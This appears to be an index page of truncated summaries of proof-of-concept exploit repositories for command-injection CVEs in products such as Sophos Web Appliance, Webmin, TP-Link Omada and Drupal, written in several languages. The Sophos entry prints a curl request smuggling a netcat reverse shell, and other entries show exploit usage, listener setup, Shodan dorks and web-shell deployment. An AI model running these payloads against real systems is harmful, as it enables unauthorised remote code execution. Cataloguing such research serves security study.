CVE-2024-55503

CVE-2024-55503 Termius App MacOS dylib Command injection Description An issue in termius before v.9.9.0 allows a local attacker to execute arbitrary code via a crafted script to the DYLDINSERTLIBRARIES component. using dylib DYLDINSERTLIBRARIES=exploitcombined.dylib...

CVE-2026-94095

Netcore NBR200V2 - Inyección Remota de Comandos en la Función de Diagnóstico Traceroute CVE-2026-94095 Campo| Valor ---|--- Fabricante| Netcore Modelo| NBR200V2 Versión de Firmware| V1.3.241127.071246 Componente Afectado| /usr/bin/networktools Tipo de Vulnerabilidad| Inyección de Comandos del SO...

CVE-2026-19586

CVE-2026-19586 PoC TP-Link Omada SSL VPN RCE no autenticada CVE-2026-19586 Descripción general Una vulnerabilidad de inyección de comandos CWE-78 en la ruta de autenticación del SSL VPN del firmware de las puertas de enlace TP-Link Omada permite a un atacante no autenticado ejecutar comandos...

CVE-2025-32375

漏洞版本设置 启动漏洞容器： docker compose up 创建一个监听器（例如 ncat）： ncat -klnv 1337 运行漏洞利用程序： python3 exploit.py 如果一切正常，你应该会在 ncat 窗口中收到一个 HTTP 请求，其中包含 OS 命令（默认情况下为 id）的执行结果。 致谢 漏洞发现者：SeaW1nd 基于 VickyTheViking 的测试环境设置...

CVE-2019-3929

CVE-2019-3929 Crestron/Barco/Extron/InFocus/TeqAV 远程命令注入 CVE-2019-3929 Metasploit 模块 根据 Tenable 的描述： 远程未经身份验证的攻击者可以通过向 HTTP 端点 filetransfer.cgi 发送精心构造的请求，以 root 身份执行操作系统命令。此漏洞似乎影响所有已知设备，包括 Crestron AM-100 固件 1.6.0.2、Crestron AM-101 固件 2.7.0.1、Barco wePresent WiPG-1000 固件 2.3.0.10、Barco wePresent...

CVE-2025-14558

CVE-2025-14558 Inyección de comandos DNSSL en rtsold de FreeBSD RCE Descripción rtsold8 no valida los nombres de dominio DNSSL en busca de metacaracteres de shell antes de pasarlos a resolvconf8. La sustitución de comandos mediante $ permite la ejecución remota de código desde una red adyacente...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance 中的预认证远程代码执行漏洞 Poc curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 1...

CVE-2019-15107

CVE-2019-15107 Webmin 利用工具 CVE-2019-15107 在 Webmin =1.920 中发现了一个问题。参数 old 在 passwordchange.cgi 中包含了命令注入漏洞。 NVD 编译 $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 使用示例 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin Unauhenticated Remote Comma...

CVE-2026-28672

CVE-2026-28672 — Inyección de comandos del sistema operativo en UnixUserGroupBuilder de Apache Ranger Reproductor de prueba de concepto ejecutable para la inyección de comandos del sistema operativo en el módulo de sincronización de usuarios unixusersync de Apache Ranger. Mientras enumera los...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry anteriormente MobileIron Sentry es una puerta de enlace de seguridad empresarial que actúa como proxy del tráfico entre dispositivos móviles y los recursos backend corporativos: correo electrónico, SharePoint y aplicaciones web internas. Aplica políticas de Mobile...

CVE-2018-6961

Exploit CVE-2018-6961 en Python3 VMware NSX SD-WAN Edge de VeloCloud anterior a la versión 3.1.0 contiene una vulnerabilidad de inyección de comandos en el componente de interfaz web local. Este componente está deshabilitado por defecto y no debe habilitarse en redes no confiables. VeloCloud de...

Drupalgedon3

POC for Drupal exploit SA-CORE-2018-004 / CVE-2018-7602 Author Alexandre Nguyen Usage usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. 0x00 Dork shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 Use Java Version java -version openjdk...

HP-HPLIP-Mass-CVE-checker-2026-09-

massexploit — Comprobador masivo de CVE de HP HPLIP 2026-09 Driver de comprobación masiva e investigación de explotación para HP HPLIP 3.26.6 — CVE-2026-91097 hasta CVE-2026-91106. CVE| CVSS 4| CWE| Remoto ---|---|---|--- CVE-2026-91097| 7.0| CWE-787| sí UI CVE-2026-91098| 8.6| CWE-122| sí UI...

CVE-2025-69212-Exploit

CVE-2025-69212 - Exploit de inyección de comandos en OpenSTAManager P7M Un script de exploit totalmente automatizado para CVE-2025-69212 , una vulnerabilidad de inyección de comandos en OpenSTAManager. Este script se autentica con credenciales de administrador, implementa un shell web PHP malicio...

CVE-2022-33891

CVE-2022-33891 - Vulnerabilidad de Inyección de Comandos en Apache Spark ⚠️ Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original Muy agradecido al autor original del PoC AkbarTrilaksana Descripción La interfaz de usuario de Apache Spark ofrece la...

CVE-2022-21587-Oracle-EBS-

Requisitos previos para que este exploit funcione: python3 incluyendo los módulos requests, os, sys, slipit uuencode Antes de ejecutar, asegúrate de usarlo solo con fines éticos Si el exploit falla al ejecutarse: Asegúrate de haber instalado los módulos prerrequisitos instalar requests pip3 insta...

WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin 1. Vulnerability Description Webmin is a powerful web-based system administration tool, widely used on Unix systems. Due to a command injection vulnerability in the old parameter during the processing of...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 South Korean wireless router OS cmd injection PoC Installation git clone https://github.com/ZAxyr/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt Usage Single URL pocsuite -r pocs/CVE-2021-46422.py -u IP Batch URLs pocsuite -r pocs/CVE-2021-46422.py ...

CVE-2021-40222

CVE-2021-40222 应用 : Rittal CMC PU III Web管理 设备 : CMC PU III 7030.000 软件版本 : V3.11.002 硬件版本 : V3.00 攻击类型 : 远程代码执行 解决方案 : 更新至软件版本V3.17.10或更高 摘要 : Web应用未能在网络TCP/IP配置页面中对用户输入进行清理。这使得攻击者能够以root身份在设备上注入命令，数据在接收几秒后即会被执行。攻击者可在设备中创建后门，或仅执行一个连接至攻击者机器的反向shell。成功利用此漏洞需要拥有设备管理的管理员权限（通过有效或劫持的会话）。 时间线 :...